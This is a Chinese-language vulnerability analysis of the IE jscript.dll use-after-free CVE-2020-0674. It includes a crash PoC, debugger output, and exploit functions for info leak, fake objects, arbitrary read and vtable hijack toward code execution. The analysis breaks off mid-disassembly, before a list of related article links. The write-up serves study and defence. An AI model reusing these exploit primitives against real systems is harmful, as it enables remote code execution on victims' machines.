IE jscript.dll释放后重用漏洞(CVE-2020-0674)分析

银雁冰@猎影实验室

0x01 前言
CVE-2020-0674是360和Google在2020年初抓到的一个IE 0day,它是一个位于jscript.dll模块的UAF(释放后重用)漏洞。最近,该漏洞的一份完整利用代码在github被公布,猎影实验室对此进行了分析。
0x02 漏洞成因
该漏洞的成因为:若Array.sort()被调用时传入一个比较函数,jscript内部没有将此比较函数的两个参数加入GC,导致可以在对象被释放后得到悬垂指针。笔者去年曾分析过一个此类漏洞,当时就预测此类漏洞后面还会出现。
我们一起来看一下这个漏洞的PoC:

<script language="JScript.Compact"> 

var depth = 0; 
var spray_size = 10000; 
var spray = new Array(); 
var sort = new Array(); 
var total = new Array(); 

for(i = 0; i < 110; i++) sort[i] = [0, 0]; 
for(i = 0; i < spray_size; i++) spray[i] = new Object(); 

function uaf(untracked_1, untracked_2) { 
    untracked_1 = spray[depth * 2]; 
    untracked_2 = spray[depth * 2 + 1]; 
    if(depth > 50) { 
        spray = new Array(); 
        CollectGarbage(); 
        total.push(untracked_1); 
        total.push(untracked_2); 
        return 0; 
    } 
    depth += 1; 
    sort[depth].sort(uaf); 
    return 0; 
} 

sort[depth].sort(uaf);  
for(i = 0; i < total.length; i++) { 
    typeof total[i]; 
} 

</script>

笔者所用分析环境如下:
Windows 7 sp1 64位 + IE 11(jscript.dll 5.8.9600.17840 64位)
为IE开启页堆,在调试器中打开上述PoC,可以观察到如下崩溃:

(3a8.c60): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
jscript!CScriptRuntime::TypeOf+0x30:
000007fe`f06c1e28 0fb717          movzx   edx,word ptr [rdi] ds:00000000`047f5d30=????

0:012> ub @rip
jscript!CScriptRuntime::TypeOf+0x12:
000007fe`f06c1e0a 4157            push    r15
000007fe`f06c1e0c 488bec          mov     rbp,rsp
000007fe`f06c1e0f 4883ec50        sub     rsp,50h
000007fe`f06c1e13 488bb990000000  mov     rdi,qword ptr [rcx+90h]
000007fe`f06c1e1a 4533f6          xor     r14d,r14d
000007fe`f06c1e1d 488bf1          mov     rsi,rcx
000007fe`f06c1e20 418d5e02        lea     ebx,[r14+2]
000007fe`f06c1e24 448d7b7e        lea     r15d,[rbx+7Eh]
0:012> u @rip
jscript!CScriptRuntime::TypeOf+0x30:
000007fe`f06c1e28 0fb717          movzx   edx,word ptr [rdi] ;显然,这里在取VARIANT的Type
000007fe`f06c1e2b 81fa81000000    cmp     edx,81h ;判断VARIANT的Type是否为Object
000007fe`f06c1e31 7e66            jle     jscript!CScriptRuntime::TypeOf+0xa1 (000007fe`f06c1e99)
000007fe`f06c1e33 81fa83000000    cmp     edx,83h
000007fe`f06c1e39 0f85c9000000    jne     jscript!CScriptRuntime::TypeOf+0x110 (000007fe`f06c1f08)
000007fe`f06c1e3f 488b16          mov     rdx,qword ptr [rsi]
000007fe`f06c1e42 4c8d4de0        lea     r9,[rbp-20h]
000007fe`f06c1e46 448bc3          mov     r8d,ebx

0:012> k
Child-SP          RetAddr           Call Site
00000000`11bba7c0 000007fe`f06c1ddb jscript!CScriptRuntime::TypeOf+0x30
00000000`11bba830 000007fe`f0698ec2 jscript!CScriptRuntime::Run+0x3c88
00000000`11bbb630 000007fe`f0698d2b jscript!ScrFncObj::CallWithFrameOnStack+0x162
00000000`11bbb840 000007fe`f0698b95 jscript!ScrFncObj::Call+0xb7
00000000`11bbb8e0 000007fe`f069e640 jscript!CSession::Execute+0x19e
00000000`11bbb9b0 000007fe`f06a70e7 jscript!COleScript::ExecutePendingScripts+0x17a
00000000`11bbba80 000007fe`f06a68e6 jscript!COleScript::ParseScriptTextCore+0x267
00000000`11bbbb70 000007fe`ec4a9d41 jscript!COleScript::ParseScriptText+0x56
00000000`11bbbbd0 000007fe`ec4a97e2 MSHTML!CActiveScriptHolder::ParseScriptText+0xc1
00000000`11bbbc50 000007fe`ec4aa8e5 MSHTML!CScriptCollection::ParseScriptText+0x27a
00000000`11bbbd30 000007fe`ec4aa457 MSHTML!CScriptData::CommitCode+0x395
00000000`11bbbf00 000007fe`ec4aa1ed MSHTML!CScriptData::Execute+0x24b
00000000`11bbbfc0 000007fe`ec22dc19 MSHTML!CHtmScriptParseCtx::Execute+0xe9
00000000`11bbbff0 000007fe`ec831419 MSHTML!CHtmParseBase::Execute+0x1dd
00000000`11bbc0e0 000007fe`ec35114f MSHTML!CHtmPost::Exec+0x555
00000000`11bbc2f0 000007fe`ec351098 MSHTML!CHtmPost::Run+0x3f
00000000`11bbc320 000007fe`ec352387 MSHTML!PostManExecute+0x70
00000000`11bbc3a0 000007fe`ec354ea3 MSHTML!PostManResume+0xa1
00000000`11bbc3e0 000007fe`ec212dc7 MSHTML!CHtmPost::OnDwnChanCallback+0x43
00000000`11bbc430 000007fe`ecad481e MSHTML!CDwnChan::OnMethodCall+0x41
00000000`11bbc460 000007fe`ec15bdd8 MSHTML!GlobalWndOnMethodCall+0x219
00000000`11bbc500 00000000`76ab9bd1 MSHTML!GlobalWndProc+0x24c
00000000`11bbc580 00000000`76ab98da USER32!UserCallWinProcCheckWow+0x1ad
00000000`11bbc640 000007fe`f10eee57 USER32!DispatchMessageWorker+0x3b5
00000000`11bbc6c0 000007fe`f10f1d8b IEFRAME!CTabWindow::_TabWindowThreadProc+0x64c
00000000`11bbf940 000007fe`fd4cfbaf IEFRAME!LCIETab_ThreadProc+0x3a3
00000000`11bbfa70 000007fe`f38961af iertutil!_IsoThreadProc_WrapperToReleaseScope+0x1f
00000000`11bbfaa0 00000000`76bb652d IEShims!NS_CreateThread::DesktopIE_ThreadProc+0x9f
00000000`11bbfaf0 00000000`76cec541 kernel32!BaseThreadInitThunk+0xd
00000000`11bbfb20 00000000`00000000 ntdll!RtlUserThreadStart+0x1d

很明显,崩溃的原因是jscript!CScriptRuntime::TypeOf在解引用一个VARIANT指针时,发现该VARIANT已经被释放,属于典型的UAF。
下面跟随笔者一起来调试一下利用代码。
0x03 从UAF到信息泄露
代码中首先通过这个UAF漏洞来泄露一个指针,相关原理笔者已经在CVE-2018-8353那篇文章中进行描述,唯一不同的是本次涉及的是64位下的偏移和对象。
前置知识A
要理解这里的释放后重用,首先要了解相关对象。
首先,当new Object()时,jscript会在内存中申请一个VARIANT,64位下每个VARIANT所占内存为0x18字节,结构如下:

// 64位 JScript VARIANT (0x18 bytes)
  +0x00 Type   // (WORD)
  +0x08 Value  // (QWORD) an immediate value or a pointer 
  +0x10 Unused // (QWORD) Unused for most types

这些VARIANT设计上属于GC对象,所以会申请在一个大的GcBlock中,GcBlock结构如下:
// 64位 JScript GcBlock (0x970 bytes)

struct GcBlock { 
    struct GcBlock * prev; 
    struct GcBlock * next; 
    VARIANTIANT mem[100]; 
};

64位下每个GcBlock大小为0x970,可以由如下公式计算得出:
sizeof(GcBlock) = 0x08 + 0x08 + 0x18*0n100 = 0x970
这些Object VARIANT在内存中排列如下:

0:022> !heap -p -a 892b6d0 
    address 000000000892b6d0 found in 
    _HEAP @ 2f0000 
              HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state 
        000000000892b6c0 0099 0000  [00]   000000000892b6d0    00970 - (busy) 

// 最开始0x10字节为prev与next指针,随后100个大小为0x18的VARIANT交替排列 
0:022> dc 892b6d0 
00000000`0892b6d0  0892ad40 00000000 0892c060 00000000  @.......`....... 
00000000`0892b6e0  00000081 00000000 08914130 00000000  ........0A...... 
00000000`0892b6f0  0892b6f8 00000000 00000081 00000000  ................ 
00000000`0892b700  089140c0 00000000 0892b710 00000000  .@.............. 
00000000`0892b710  00000081 00000000 08914050 00000000  ........P@...... 
00000000`0892b720  0892b728 00000000 00000081 00000000  (............... 
00000000`0892b730  08913fe0 00000000 0892b740 00000000  .?......@....... 
00000000`0892b740  00000081 00000000 08913f70 00000000  ........p?...... 
...

上面的VARIANT对象在GcBlock中的布局可能不太直观,笔者其进行着色如下:

利用此类UAF漏洞的思路是申请大量VARIANT对象,然后进行释放,这样就会得到一个个空闲的大小为0x970左右的堆块,这些堆块会被回收到低碎片堆中,接着迅速重用这些堆块。
那么,如何重用这些空闲堆块呢?
前置知识B
这里再补充一些前置知识,在为一个jscript对象添加第一个成员变量时,若成员变量的长度超过一定阈值,jscript会调用NameList::FCreateVval去申请特定大小的内存,64位下,具体的申请操作在NoRelAlloc::PvAlloc中完成,这里直接将计算公式概括如下(具体细节读者可以自行逆向上述两个函数):
alloc_size = (2x + 0x42) * 2 + 8 // x为Object的属性长度,按字符数计算
当alloc_size为0x970时,我们就可以重用之前回收的GcBlock内存块。此时对应的x=569。
重用后的内存内排列着一个个代表属性的结构与属性名称,具体结构定义如下:

// Property(size = 0x40) win7 64 bit 
  +0x00 var         // (sizeof(VARIANT)) 当前属性值 
  +0x18 ?           // (QWORD) 
  +0x20 hash        // (DWORD)  
  +0x24 name_length // (DWORD) 当前属性名长度 
  +0x28 next        // (QWORD) 下一个Property结构体地址 
  +0x30 ?           // (QWORD) 
  +0x38 ?           // (QWORD) 
  +0x40 name

// 简单来说就是一个0x40的头部(Property),后面跟着name
第一轮UAF泄露的就是某个Property偏移0x28处的一个next指针,这个next指针指向下一个Property的首地址。
如果在重占位后,通过第1个至第x-1个属性名的名称和长度来控制这块重用的内存。将第x-1个Property的hash构造为5,并且通过设置第x个属性,让第x-1个Property的next指针指向第x个对象的Property,就可以错位读取第x个对象的Property指针,从而实现信息泄露。
利用代码中为每个Object对象定义了4个属性,目的是泄露第4个属性的Property指针。我们来看一下重用后的相应内存:

上图第一个黄色高亮的是被某一个悬垂指针错误读取的Object VARIANT,可以看到由于Type域正好与第3个Property的hash重合,Type被解释为了5,当前VARIANT被解释为double类型,并且这个错位的VARIANT内的Value值恰好为指向第4个Property的next指针。青色高亮的是第4个属性的Property结构。红色高亮的是第4个属性的的name。
遍历之前保存的悬垂指针,通过以下代码判断是否到找到一个上述这种错位的VARIANT:

for(i = 0; i < total.length; i++) {
    if(typeof total[i] === "number" && total[i] % 1 != 0) {
        leak_lower = (total[i] / 4.9406564584124654E-324);
        break;
    }
}

找到后,读取对应的Value并将其转换为32位整数,这样就泄露得到了一个Property指针。
0x04 进一步信息泄露
泄露第4个属性的Property指针后,利用代码紧接着用类似的方法泄露该属性的值,此时需要读取泄露的Property指针首部对应的VARIANT,方法是重新设计第一个属性的名称,并用其进行内存布局,随后再次借助错位来进行读取,如下:

上图中青色高亮的是第二轮UAF后,某个被重用的0x970内存块中的第一个Property,黄色和灰色高亮的是依次排列的、用来布局的VARIANT,每个VARIANT的Type为0x80,为间接引用,需要解一次指针。

从上图可以看到,解一次指针后,读取的VARIANT即为整型,里面存储了所需的leak_offset值,这里为1。

从上图可以看到,第一轮UAF时伪造的VARIANT还在,07c72ee0即为第一次信息泄露得到的指针。
有了leak_offset后,就可以对overlay_backup[leak_offset]存储的单个对象进行释放和重用,利用代码在此基础上封装了一个rewrite函数,rewrite函数只对overlay_backup[leak_offset]所代表的对象进行UAF来重用内存:

function rewrite(v, i){
    CollectGarbage();
    overlay_backup[leak_offset] = null;
    CollectGarbage();
    overlay_backup[leak_offset] = new Object();
    overlay_backup[leak_offset][variants] = 1;
    overlay_backup[leak_offset][padding] = 1;
    overlay_backup[leak_offset][leak] = 1;
    overlay_backup[leak_offset][v] = i;
}

0x05 任意对象伪造
利用代码接着借助rewrite函数,将第一次泄露指针的那块0x970大小内存重新进行内存布局。这次对重占位对象的第4个属性的name进行了改写,使其变为一个VARIANT。并且借助前面的思路,将leak_lower+0x40这个地址构造为Type为0x80的VARIANT,通过第一个属性的name进行大量内存布局,接着利用错位读取第4个Property的name处存储的VARIANT,保存到fakeobj_var:

function get_fakeobj() { 
    rewrite(make_variant(3, 1234)); 
    reset(); 
    set_variants(0x80, leak_lower + 64); 
    sort[depth].sort(initial_exploit); 
    for(i = 0; i < total.length; i++) { 
        if(typeof total[i] === "number") { 
            if(total[i] + "" == 1234) { 
                fakeobj_var = total[i]; 
                break; 
            } 
        } 
    } 
}

这样,当后面通过rewrite将第4个Property的name改写为具有其他Type的VARIANT或者具有不同Value值的VARIANT时,就可以通过fakeobj_var来进行相应操作。
0x06 任意地址读取
随后,利用代码封装了一个read_pointer函数,里面借助rewrite将第4个Property的name改写为一个字符串类型(Type=8)的VARIANT:

function read_pointer(addr_lower, addr_higher, o) { 
    rewrite(make_variant(8, addr_lower, addr_higher), o); 
}

此时fakeobj_var就代表一个字符串类型的VARIANT,字符串类型的VARIANT的Value值存储的是一个BSTR对象的字符串首地址,即一个BSTR结构偏移+0x08的地方.
而64位下BSTR的完整结构如下:

// 64-bit BSTR 
  +0x00 Unused  // (DWORD) 
  +0x04 length  // (DWORD) in bytes without null character  
  +0x08 string  // (length+2) String characters (16-bit) followed by a null character

所以可以借助BSTR的length域来读取任意地址。
接着看一下利用代码封装的read_byte函数:

function read_byte(addr_lower, addr_higher, o) { 
    read_pointer(addr_lower + 2, addr_higher, o); 
    return (fakeobj_var.length >> 15) & 0xff; 
}

这里任意地址读取的思路是这样的:
调用 string.length 方法读取 BSTR 字符串长度时,会进入 jscript!StringProxyObj::Length 函数,在函数内部会取出 BSTR 的长度,然后除以2:
v4 = (_DWORD)(v7 - 4) >> 1;
如果我们对待读数据先乘以2,相当于右移1位,数据缺失1 bit,读出来之后无法还原。
所以这里用了一些技巧,以 read_byte 为例,为了准确读取数据,代码中采用的办法是要读取 addr,则将 addr + 2 传入,此时待读取的 byte 左移了 16 字节,随后 jscript!StringProxyObj::Length 内部为了除以2,帮我们右移了 1 字节,所以数据返回后还得手动右移 15 字节,最后取出最低的一个字节即可。read_word、read_dword、read_qword 同理。
0x07 任意对象地址读取
封装完任意地址读取函数后,利用代码又在其基础上封装了一个任意对象地址读取函数addrof:

function addrof(o) {
    var_addr = read_dword(leak_lower + 8, 0, o);
    return read_dword(var_addr + 8, 0, 1);
}

addrof借助两次read_dword实现对象地址泄露。
第一次readd_word将任意对象赋值给第4个属性,这样会导致一个引用对象(Type=0x80)的VARIANT被写到第4个Property的var内(参考下面的日志,可以看到保存到第4个Property处的VARIANT类型为0x80),并将第4个Property的name改写为一个字符串型(Type=8)的VARIANT,VARIANT的值设置为leaklower + 8。这样就把被引用的VARIANT地址给读取出来,即下面日志中的08a9ece8。
第二次read_dword针对第一次read_dword读取的值再解一次引用,从而将真正的对象地址读取出来。
第一次 read_dword 数据(o)和地址(leak_lower + 8)都要传入
第二次 read_dword 只需要传入地址(var_addr + 8),因为数据已经在了

// 第4个Property 
00000000`08aa0a50  eac00080 000007fe 08a9ece8 00000000  ................ 
00000000`08aa0a60  00001f80 00000000 00000000 00000000  ................ 
00000000`08aa0a70  378f5a8e 00000018 00000000 00000000  .Z.7............ 
00000000`08aa0a80  00000000 00000000 00000004 00000000  ................ 
// 08aa0a90存放着name,可以看到它是一个字符串类型的VARIANT 
00000000`08aa0a90  00000008 00000000 08aa0a5c 00000000  ........\.......  

// 解第1个VARIANT 
0:018> dq 08aa0a50 l3 
00000000`08aa0a50  000007fe`eac00080 00000000`08a9ece8 
00000000`08aa0a60  00000000`00001f80 

// 解第2个VARIANT 
0:018> dq 08a9ece8 l3 
00000000`08a9ece8  00000000`00000081 00000000`0c3c6b30 
00000000`08a9ecf8  00000000`0058c6a0 

0:018> !heap -p -a 0c3c6b30 
address 000000000c3c6b30 found in 
_HEAP @ 1a0000 
HEAP_ENTRY Size Prev Flags            UserPtr UserSize - state 
000000000c3c6b20 0007 0000  [00]   000000000c3c6b30    00068 - (busy) 
jscript!NameTbl::`vftable' 

0:018> dq 0c3c6b30 l68/8 
00000000`0c3c6b30  000007fe`f00be0d8 00000000`00000000 
00000000`0c3c6b40  00000000`00000000 00000000`0058b900 
00000000`0c3c6b50  00000000`08a9ece8 00000000`ffffffff 
00000000`0c3c6b60  00000000`0058c6e8 00000000`001b0000 
00000000`0c3c6b70  000007fe`f00bfd48 00000000`00580ee0 
00000000`0c3c6b80  00000000`00000000 00000000`00000000 
00000000`0c3c6b90  000007fe`f014fc30 

0:018> ln 000007fe`f00be0d8 
(000007fe`f00be0d8)   jscript!NameTbl::`vftable'   |  (000007fe`f00be2d0)   jscript!NativeErrorProtoObjBase::`vftable' 
Exact matches:

0x08 远程代码执行
封装完上述这些功能函数后,接下来的操作就比较常规了:new一个object,泄露这个对象的首地址,从首地址中读取虚表指针,通过虚表指针获取jscript基址。紧接着从jscript的导入表中获取msvcrt和kernel32的基址,再从msvcrt的导入表中获取ntdll的基址,随后从kernel32的导出表获得WinExec函数地址,从ntdll的导出表中获取NtContinue函数地址,供后面使用。
泄露Native栈地址
由于后面借助NtContinue函数进行代码执行时,需要为伪造的_CONTEXT结构提供一个正确的Native栈地址,所以这里还要泄露一个Native栈地址,操作比较常规:

function leak_stack_ptr() { 
    leak_obj = new Object(); 
    obj_addr = addrof(leak_obj); 
    csession_addr = read_dword(obj_addr + 24, 0, 1); 
    stack_addr_lower = read_dword(csession_addr + 80, 0, 1); 
    stack_addr_upper = read_dword(csession_addr + 84, 0, 1); 
    return {'lower': stack_addr_lower, 'upper': stack_addr_upper}; 
}

64位基本知识点如下,这里不在过多说明:

Jscript Object 
  + 0x00 Jscript!NameTbl 
  +0x18 pCSession    // QWORD 

Jscript!CSession(size = 0x2F0) 
  +0x50 pNativeStack // QWORD

虚表劫持和代码执行
利用代码接下来伪造jscript!NameTbl对象和jscript!NameTbl对象的虚表,并将虚表内的第28项(此项原先为 jscript!ObjEvtHandler::FPersist函数地址)改写为ntdll!NtContinue函数的地址。
trigger_exec函数首部,利用代码将第4个Property的name伪造为一个Type=0x81的对象,将Value设为伪造的jscript!NameTbl对象,并将对象的虚表指针(对象的第一个8字节)设为伪造的虚表。
trigger_exec函数最后对fakeobj_var调用typeof函数,触发虚函数调用,劫持控制流到NtContinue,并将伪造的对象作为参数传入rcx:

0:000> g 
Breakpoint 0 hit 
ntdll!ZwContinue: 
00000000`76d116e0 4c8bd1          mov     r10,rcx 

// 上层调用地址 
0:013> ub 000007fe`f00eaf86 
jscript!CScriptRuntime::TypeOf+0x1916d: 
000007fe`f00eaf65 e96c6ffeff      jmp     jscript!CScriptRunti

本文来源于: https://xz.aliyun.com/t/7759

相关推荐

红队-C2 Server基础构建

C2 使目标机器可以接收来自服务器的命令,但实战中通常在恶意软件分析的时候是首先被分析出来的,所以这也就是需要对C2 server加固的原因。 下面将C2 server部署时候你需要认识的一些点总结来更好建设、隐蔽、使用你的C2 serve

记一次excel XXE漏洞

0x00 概述 Microsoft Office从2007版本引入了新的开放的XML文件格式,基于压缩的ZIP文件格式规范,改后缀名为zip再解压缩可以发现其中多数是描述工作簿数据、元数据、文档信息的XML文件。 许多网站允许上传/导入文

xyhcms v3.6 命令执行

xyhcms v3.6 命令执行 漏洞描述 XYHCMS是一款开源的CMS内容管理系统。 XYHCMS后台存在代码执行漏洞,攻击者可利用该漏洞在site.php中增加恶意代码,从而可以获取目标终端的权限。 复现 按步骤安装,查看site.p

Kimsuky组织某样本分析

0x00 前言 HWP 是韩国 Hancom 公司开发的文字处理软件(扩展名.hwp),可类比于 WPS。本文分析样本利用了CVE-2017-8291,由于版权相关问题,最新版的HWP已经将GhostScript开源组件(gbb.exe)移

用模拟执行实现Objective-C代码自动化分析

火眼高级逆向工程实验室脚本系列:用模拟执行实现Objective-C代码自动化分析 写在前面的话 京东安全开源的 qiling 是一个很不错的想法,但是唯一的问题在于它实现的东西太多,比较笨重。有的时候我仅仅想模拟几个函数的执行,操作比较麻

nodejs一些入门特性&&实战

最近发觉nodejs的一些特性很有意思,对此进行一番小结,有不足之处请师傅们补充。 原型链 源自JavaScript的原型继承模型。 prototype(原型) 几乎js的所有对象都是Object的实例,我们没办法使用class自写一个类。

php和python反序列化漏洞分析

之前一直有接触挺多反序列化的漏洞,但是自己一直没有很细心地学习这方面的东西,所以现在花时间分析一下php、python中的反序列化漏洞,其大体都是差不多的,部分代码来源互联网,有错误烦请各位师傅指正。 序列化 (Serialization)

php代码审计学习之函数缺陷

php代码审计学习之函数缺陷 感兴趣的可以参考一下PHP-Audit-Labs in_array函数缺陷 Wish List Code class Challenge { const UPLOAD_DIRECTORY = './soluti

CVE-Flow:1999-2020年CVE数据分析【1】

给大家汇报一下最近工作,主要做了这么几个事情: 1999-2020年CVE数据分析。 增量CVE数据的T级监控。 EXP预警。 全局自动化。 产出及价值 汇总产出一份近20年来CVE原始数据集:CVE2020,且持续自动更新,具备66个属性

WAF绕过之SQL注入(归来)

Author:flystart Team: ms509 Date:2020/5 前言: WAF(Web Application Firewall)对于从事信息安全领域的工作者来说并不陌生,在渗透测试一个目标的时候常常作为拦路虎让人头痛不已,

WordPress Ninja Forms插件 CSRF to XSS漏洞(CVE-2020-12462)分析

前言 Ninja Forms是一款WordPress插件。使用Ninja Forms插件无需编码即可以创建美观、用户友好的WordPress表单。据统计,全球超过 2,000,000 个网站正在使用 Ninja Forms。 Ninja F